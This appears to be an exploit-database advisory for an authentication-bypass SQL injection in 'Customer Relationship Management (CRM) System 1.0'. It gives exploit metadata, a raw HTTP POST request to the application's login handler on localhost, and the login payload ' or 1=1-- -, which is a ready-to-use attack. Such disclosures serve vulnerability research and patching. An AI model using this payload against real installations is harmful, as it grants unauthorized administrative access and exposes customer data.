Customer Relationship Management (CRM) System 1.0 SQL Injection

Customer Relationship Management (CRM) System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | df2f1ca3c4905b571716bcf98058482c

# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi) 
# Date: 11/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4

POST /crm/classes/Login.php?f=clogin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/login.php
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2


Or goto the login page and enter the below payload
' or 1=1-- -

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